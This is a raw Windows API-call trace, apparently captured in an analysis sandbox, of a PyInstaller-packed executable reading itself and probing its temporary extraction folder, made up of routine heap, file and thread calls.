[0075.242] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=6872644, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x68de44 [0075.242] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 [0075.242] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cbf4b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cbf4b0*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.242] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 [0075.242] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x68ee44 [0075.242] GetLastError () returned 0x0 [0075.242] GetCurrentThreadId () returned 0x9b0 [0075.242] GetLastError () returned 0x0 [0075.243] GetLastError () returned 0x0 [0075.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbf4b0 | out: hHeap=0x2ad0000) returned 1 [0075.243] CloseHandle (hObject=0x2d8) returned 1 [0075.243] GetLastError () returned 0x0 [0075.243] GetCurrentThreadId () returned 0x9b0 [0075.243] GetLastError () returned 0x0 [0075.243] GetLastError () returned 0x0 [0075.243] GetCurrentThreadId () returned 0x9b0 [0075.243] GetLastError () returned 0x0 [0075.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31e0080 | out: hHeap=0x2ad0000) returned 1 [0075.243] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3224938, Size=0x21c) returned 0x3224938 [0075.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.243] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97038, Size=0x20) returned 0x3028468 [0075.243] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028468, Size=0x40) returned 0x2a19178 [0075.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19178 | out: hHeap=0x2ad0000) returned 1 [0075.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3224938 | out: hHeap=0x2ad0000) returned 1 [0075.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2ab4e40 [0075.243] GetCurrentThreadId () returned 0x9b0 [0075.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4e40 | out: hHeap=0x2ad0000) returned 1 [0075.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4a18 [0075.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x317f9c0 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18fc8 [0075.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18fc8 | out: hHeap=0x2ad0000) returned 1 [0075.244] GetCurrentThreadId () returned 0x9b0 [0075.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.245] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x14) returned 0x2ab8ce8 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] GetCurrentThreadId () returned 0x9b0 [0075.245] GetLastError () returned 0x0 [0075.245] GetLastError () returned 0x0 [0075.245] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_thread", lpFindFileData=0x9b9720 | out: lpFindFileData=0x9b9720*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x3137420, ftCreationTime.dwHighDateTime=0x31e5a98, ftLastAccessTime.dwLowDateTime=0x3030540, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x14d6406, ftLastWriteTime.dwHighDateTime=0x9b9750, nFileSizeHigh=0x9b9764, nFileSizeLow=0x73013d47, dwReserved0=0x9b975c, dwReserved1=0x0, cFileName="D\x98\x9b", cAlternateFileName="")) returned 0xffffffff [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_thread", nBufferLength=0x104, lpBuffer=0x9b9860, lpFilePart=0x9b96b8 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_thread", lpFilePart=0x9b96b8*="_thread") returned 0x33 [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] GetLastError () returned 0x2 [0075.246] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9b9720 | out: lpFindFileData=0x9b9720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff8ca, dwReserved1=0x0, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055ba0 [0075.246] FileTimeToLocalFileTime (in: lpFileTime=0x9b9734, lpLocalFileTime=0x9b9704 | out: lpLocalFileTime=0x9b9704) returned 1 [0075.246] FileTimeToSystemTime (in: lpFileTime=0x9b9704, lpSystemTime=0x9b970c | out: lpSystemTime=0x9b970c) returned 1 [0075.246] FileTimeToLocalFileTime (in: lpFileTime=0x9b972c, lpLocalFileTime=0x9b9704 | out: lpLocalFileTime=0x9b9704) returned 1 [0075.246] FileTimeToSystemTime (in: lpFileTime=0x9b9704, lpSystemTime=0x9b970c | out: lpSystemTime=0x9b970c) returned 1 [0075.246] FileTimeToLocalFileTime (in: lpFileTime=0x9b9724, lpLocalFileTime=0x9b9704 | out: lpLocalFileTime=0x9b9704) returned 1 [0075.246] FileTimeToSystemTime (in: lpFileTime=0x9b9704, lpSystemTime=0x9b970c | out: lpSystemTime=0x9b970c) returned 1 [0075.246] FindClose (in: hFindFile=0x1055ba0 | out: hFindFile=0x1055ba0) returned 1 [0075.246] GetLastError () returned 0x2 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0075.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab8ce8 [0075.247] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab8ce8, Size=0x18) returned 0x2ab8ce8 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab8ce8 | out: hHeap=0x2ad0000) returned 1 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.247] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0075.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetCurrentThreadId () returned 0x9b0 [0075.248] GetLastError () returned 0x2 [0075.248] GetLastError () returned 0x2 [0075.248] GetLastError () returned 0x2 [0075.248] GetLastError () returned 0x2 [0075.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c97038 | out: hHeap=0x2ad0000) returned 1 [0075.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4918 [0075.248] GetLastError () returned 0x2 [0075.248] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9220, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2d8 [0075.249] GetFileType (hFile=0x2d8) returned 0x1 [0075.249] GetLastError () returned 0x0 [0075.249] GetCurrentThreadId () returned 0x9b0 [0075.249] GetLastError () returned 0x0 [0075.249] GetFileType (hFile=0x2d8) returned 0x1 [0075.249] GetFileInformationByHandle (in: hFile=0x2d8, lpFileInformation=0x9b929c | out: lpFileInformation=0x9b929c) returned 1 [0075.249] FileTimeToLocalFileTime (in: lpFileTime=0x9b92b0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.249] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.249] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.249] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.249] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92e0 | out: lpLocalFileTime=0x9b92e0) returned 1 [0075.249] FileTimeToSystemTime (in: lpFileTime=0x9b92e0, lpSystemTime=0x9b92d0 | out: lpSystemTime=0x9b92d0) returned 1 [0075.249] GetLastError () returned 0x0 [0075.249] GetCurrentThreadId () returned 0x9b0 [0075.249] GetLastError () returned 0x0 [0075.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4918 | out: hHeap=0x2ad0000) returned 1 [0075.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0075.249] GetLastError () returned 0x0 [0075.249] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=6872992, lpDistanceToMoveHigh=0x9b9350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9350*=0) returned 0x68dfa0 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.250] GetLastError () returned 0x0 [0075.250] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=8723285, lpDistanceToMoveHigh=0x9b96e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e8*=0) returned 0x851b55 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x352f) returned 0x31e0080 [0075.250] GetLastError () returned 0x0 [0075.250] ReadFile (in: hFile=0x2d8, lpBuffer=0x31e0094, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x9b96b0, lpOverlapped=0x0 | out: lpBuffer=0x31e0094*, lpNumberOfBytesRead=0x9b96b0*=0x3000, lpOverlapped=0x0) returned 1 [0075.250] ReadFile (in: hFile=0x2d8, lpBuffer=0x2cc34d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b969c, lpOverlapped=0x0 | out: lpBuffer=0x2cc34d0*, lpNumberOfBytesRead=0x9b969c*=0x1000, lpOverlapped=0x0) returned 1 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.250] GetLastError () returned 0x0 [0075.250] GetCurrentThreadId () returned 0x9b0 [0075.251] GetCurrentThreadId () returned 0x9b0 [0075.251] GetLastError () returned 0x0 [0075.251] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8374*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8374*=0) returned 0x855b55 [0075.251] GetLastError () returned 0x0 [0075.251] GetCurrentThreadId () returned 0x9b0 [0075.251] GetLastError () returned 0x0 [0075.251] GetLastError () returned 0x0 [0075.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc34d0 | out: hHeap=0x2ad0000) returned 1 [0075.251] CloseHandle (hObject=0x2d8) returned 1 [0075.251] GetLastError () returned 0x0 [0075.251] GetCurrentThreadId () returned 0x9b0 [0075.251] GetLastError () returned 0x0 [0075.251] GetLastError () returned 0x0 [0075.251] GetCurrentThreadId () returned 0x9b0 [0075.251] GetLastError () returned 0x0 [0075.251] GetLastError () returned 0x0 [0075.252] GetCurrentThreadId () returned 0x9b0 [0075.252] GetLastError () returned 0x0 [0075.252] GetLastError () returned 0x0 [0075.252] GetCurrentThreadId () returned 0x9b0 [0075.252] GetLastError () returned 0x0 [0075.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x322a530 | out: hHeap=0x2ad0000) returned 1 [0075.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3224938 | out: hHeap=0x2ad0000) returned 1 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3232538, Size=0x9e4c) returned 0x3232538 [0075.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31e0080 | out: hHeap=0x2ad0000) returned 1 [0075.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x352) returned 0x31e0080 [0075.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97038, Size=0x20) returned 0x30283c8 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283c8, Size=0x40) returned 0x2a19178 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19178, Size=0x64) returned 0x2a19508 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19508, Size=0x8c) returned 0x2ac0ca0 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0ca0, Size=0xb8) returned 0x3183e38 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183e38, Size=0xe8) returned 0x2ac9530 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9530, Size=0x120) returned 0x2c37270 [0075.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x403) returned 0x31e03e0 [0075.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x282) returned 0x31e07f0 [0075.252] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37270, Size=0x160) returned 0x2cb7a60 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x47f) returned 0x31e0a80 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb7a60, Size=0x1a8) returned 0x30291d0 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30291d0, Size=0x1f8) returned 0x2c307a8 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x415) returned 0x31e0f08 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2d7) returned 0x31e1328 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25d) returned 0x31e1608 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x358) returned 0x31e1870 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c307a8, Size=0x250) returned 0x2ac4960 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2c2bc10 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x23c) returned 0x2a914d8 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2bc10, Size=0x324) returned 0x2bac990 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x426) returned 0x31e1bd0 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bac990, Size=0x3a4) returned 0x31ccf70 [0075.253] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31ccf70, Size=0x434) returned 0x2ba85d8 [0075.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba85d8 | out: hHeap=0x2ad0000) returned 1 [0075.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3232538 | out: hHeap=0x2ad0000) returned 1 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab49c8 [0075.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49c8 | out: hHeap=0x2ad0000) returned 1 [0075.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x317fb48 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.254] GetCurrentThreadId () returned 0x9b0 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0075.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x44) returned 0x2c89548 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3180910 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c97038 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c97038, Size=0x20) returned 0x30283c8 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283c8, Size=0x40) returned 0x2a18e60 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] GetCurrentThreadId () returned 0x9b0 [0075.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96f48 | out: hHeap=0x2ad0000) returned 1 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96f48 [0075.256] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96f48, Size=0x20) returned 0x3028210 [0075.256] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028210, Size=0x40) returned 0x2a18e18 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19968 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac10c8 [0075.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab49a8 [0075.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4948 [0075.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab49a8 | out: hHeap=0x2ad0000) returned 1 [0075.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3180910 | out: hHeap=0x2ad0000) returned 1 [0075.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18e60 | out: hHeap=0x2ad0000) returned 1 [0075.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac10c8 | out: hHeap=0x2ad0000) returned 1 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182318 [0075.256] GetCurrentThreadId () returned 0x9b0 [0075.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.257] GetCurrentThreadId () returned 0x9b0 [0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96db0, Size=0x20) returned 0x30282b0 [0075.257] GetCurrentThreadId () returned 0x9b0 [0075.257] GetCurrentThreadId () returned 0x9b0 [0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282b0, Size=0x40) returned 0x2a19250 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c96db0 | out: hHeap=0x2ad0000) returned 1 [0075.257] GetCurrentThreadId () returned 0x9b0 [0075.257] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c96db0 [0075.257] GetCurrentThreadId () returned 0x9b0 [0075.257] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c96db0, Size=0x20) returned 0x30283c8 